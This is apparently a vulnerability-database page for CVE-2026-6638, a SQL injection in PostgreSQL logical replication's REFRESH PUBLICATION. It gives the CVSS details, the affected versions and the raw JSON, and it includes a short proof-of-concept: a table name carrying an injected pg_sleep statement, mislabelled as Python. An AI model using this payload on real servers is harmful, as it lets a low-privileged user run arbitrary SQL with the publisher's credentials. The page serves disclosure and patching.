Security Vulnerability Report
中文
CVE-2026-6638 CVSS 3.7 LOW

CVE-2026-6638

Published: 2026-05-14 14:16:26
Last Modified: 2026-05-14 16:21:23
Source: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

Description

SQL injection in PostgreSQL logical replication ALTER SUBSCRIPTION ... REFRESH PUBLICATION allows a subscriber table creator to execute arbitrary SQL with the subscription's publication-side credentials. The attack takes effect at the next REFRESH PUBLICATION. Within major versions 16, 17, and 18, minor versions before PostgreSQL 18.4, 17.10, and 16.14 are affected. Versions before PostgreSQL 16 are unaffected.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

PostgreSQL 18 < 18.4
PostgreSQL 17 < 17.10
PostgreSQL 16 < 16.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
-- Step 1: On the subscriber, create a table with a malicious name containing SQL payload -- The payload attempts to execute a simple statement (e.g., sleep or a notice) CREATE TABLE "public.users; SELECT pg_sleep(5); --" (id INT); -- Step 2: Trigger the vulnerability by forcing a publication refresh -- This causes the publisher to fetch table metadata and execute the injected SQL ALTER SUBSCRIPTION my_subscription REFRESH PUBLICATION;

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6638", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2026-05-14T14:16:25.937", "lastModified": "2026-05-14T16:21:23.190", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection in PostgreSQL logical replication ALTER SUBSCRIPTION ... REFRESH PUBLICATION allows a subscriber table creator to execute arbitrary SQL with the subscription's publication-side credentials. The attack takes effect at the next REFRESH PUBLICATION. Within major versions 16, 17, and 18, minor versions before PostgreSQL 18.4, 17.10, and 16.14 are affected. Versions before PostgreSQL 16 are unaffected."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://www.postgresql.org/support/security/CVE-2026-6638/", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}